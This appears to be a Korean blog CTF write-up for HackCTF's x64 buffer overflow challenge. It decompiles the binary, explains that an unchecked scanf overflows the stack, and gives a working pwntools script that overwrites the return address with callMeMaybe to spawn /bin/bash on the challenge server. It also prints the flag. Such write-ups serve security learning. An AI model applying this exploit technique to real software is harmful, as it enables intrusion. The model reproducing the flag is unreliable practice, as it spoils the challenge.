-
x64 Buffer OverflowCTF/HackCTF 2021. 1. 21. 01:44
Disassembly 디스어셈블리
undefined8 main(undefined8 argc, char **argv) { char **var_120h; int64_t var_114h; int64_t var_4h; var_114h._0_4_ = (undefined4)argc; func_0x00400508(0x400741, (int64_t)&var_114h + 4); var_4h._0_4_ = func_0x004004e0((int64_t)&var_114h + 4); func_0x004004e8("Hello %s\n", (int64_t)&var_114h + 4); return 0; }
cutter가 디컴파일을 제대로 못하길래 pwngdb를 이용했다.
따라서 main() 에서 호출되는 세 함수는 차례로 scanf("%s", buf) / strlen(buf) / printf("Hello %s \n", buf) 이다.
RET Overwrite
스택 버퍼 오버플로우가 발생하므로 return address를 덮어쓰고자 한다.
void callMeMaybe(void) { char *var_20h; int64_t var_18h; int64_t var_10h; var_20h = "/bin/bash"; var_18h = 0x40073e; var_10h = 0; func_0x004004f8("/bin/bash", &var_20h, 0, &var_20h); return; }
바이너리에 위와 같이 쉘을 호출하는 함수가 있으므로 주소를 구해서 RET Overwrite을 통해 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./64bof_basic" server = "ctf.j0n9hyun.xyz" port = 3004 # context.log_level = 'debug' context.binary = binary p = remote(server, port) # p = process(binary) e = ELF(binary) payload = b"A"*0x118 payload += p64(e.symbols["callMeMaybe"]) p.sendline(payload) p.interactive()
Flag
HackCTF{64b17_b0f_15_51mpl3_700}
'CTF > HackCTF' 카테고리의 다른 글
Simple_Overflow_ver_2 (0) 2021.01.21 x64 Simple_size_BOF (0) 2021.01.21 내 버퍼가 흘러넘친다!!! (0) 2021.01.21 Basic_BOF #2 (0) 2021.01.21 Basic_BOF #1 (0) 2021.01.21